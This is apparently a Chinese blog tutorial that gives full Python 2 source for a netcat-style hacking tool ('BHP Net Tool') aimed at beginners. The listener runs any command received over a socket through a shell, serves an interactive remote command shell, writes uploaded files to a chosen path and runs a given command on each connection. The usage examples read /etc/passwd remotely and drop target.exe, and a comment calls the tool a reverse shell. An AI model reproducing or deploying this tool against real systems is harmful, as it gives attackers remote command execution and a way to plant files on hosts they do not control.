没什么比python更时候来做hacking了，一个初学者看完本篇就能马上能够自己写一个netcat
说明：下面的代码是客户端和服务端的集合
代码
#! /usr/bin/env python #coding=utf-8 import sys import socket import getopt import threading import subprocess #定义一些全局变量 listen = False command = False upload = False execute = "" target = "" upload_destination = "" port = 0 def run_command(command): #换行 command = command.rstrip() #运行明来并输出返回 try: output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True) except: output = "Failed to execute command. \r\n" #将输出发送 return output def client_handler(client_socket): global upload global execute global command #检测上传文件 if len(upload_destination): #读取所欲的字符写下目标 file_buffer = "" #持续读取数据直到没有符合的数据 while True: data = client_socket.recv(1024) if not data: break else: file_buffer += data #现在我们接受这些数据并将他们写出来 try: file_descriptor = open(upload_destination,"wb") file_descriptor.write(file_buffer) file_descriptor.close() #确认文件已经写出来 client_socket.send("Successfully saved file to %s\r\n" % upload_destination) except: client_socket.send("Falied to save file to %s\r\n" % upload_destination) #检测命令执行 if len(execute): #运行命令 output = run_command(execute) client_socket.send(output) #如果需要一个命令行shell，那么我们进入另一个循环 if command: while True: #跳出一个窗口 client_socket.send("<BHP:#> ") #现在我们接收文件直到发现换行符（enter key） cmd_buffer = "" while "\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) #返还命令输出 response = run_command(cmd_buffer) #返回响应数据 client_socket.send(response) def server_loop(): global target global port #如果没有定义目标，那么我们监听所有端口 if not len(target): target = "0.0.0.0" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: client_socket, addr = server.accept() #分拆一个线程处理新的客户端 client_thread = threading.Thread(target=client_handler,args=(client_socket,)) client_thread.start() def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: #连接到目标主机 client.connect((target,port)) if len(buffer): client.send(buffer) while True: #现在等待数据回传 recv_len = 1 response = "" while recv_len: data = client.recv(4096) recv_len = len(data) response += data if recv_len < 4096: break print response, #等待更多的输入 buffer = raw_input("") buffer += "\n" #发送出去 client.send(buffer) except: print "[*] Exception! Exiting." #关闭连接 client.close() def usage(): print "BHP Net Tool" print print "Usage: bhpnet.py -t target_host -p port" print "-l --listen -listen on [host]:[port] for incoming connections" print "-e --execute=file_to_run - execute the given file upon receiving a connection" print "-c --command - initialize a command shell" print "-u --upload=destination - upon receiving connection upload a file and write to [destination]" print print print "Examples: " print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"" print "echo 'ABCDEF' | ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0) def main(): global listen global port global execute global command global upload_destination global target if not len(sys.argv[1:]): usage() #读取明来行选项 try: opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ["help","listen","execute","target","port","command","upload"]) except getopt.GetoptError as err: print str(err) usage() for o,a in opts: if o in ("-h","--help"): usage() elif o in ("-l","--listen"): listen = True elif o in ("-e", "--execute"): execute = a elif o in ("-c", "--commandshell"): command = True elif o in ("-u","--upload"): upload_destination = a elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False,"Unhandled Option" #我们是进行监听还是仅从标准输入发送数据 if not listen and len(target) and port > 0: #从明来行读取内存数据 #这里将阻塞，所以不在向标准输入发送数据时发送CTRL-D buffer = sys.stdin.read() #发送数据 client_sender(buffer) #我们开始监听并准备上传，执行命令 #放置一个反弹shell #取决于上面的明来行选项 if listen: server_loop() main()
运行结果
下面的命令运行后，按ctrl+D就能进行shell的交互了，输入命令了
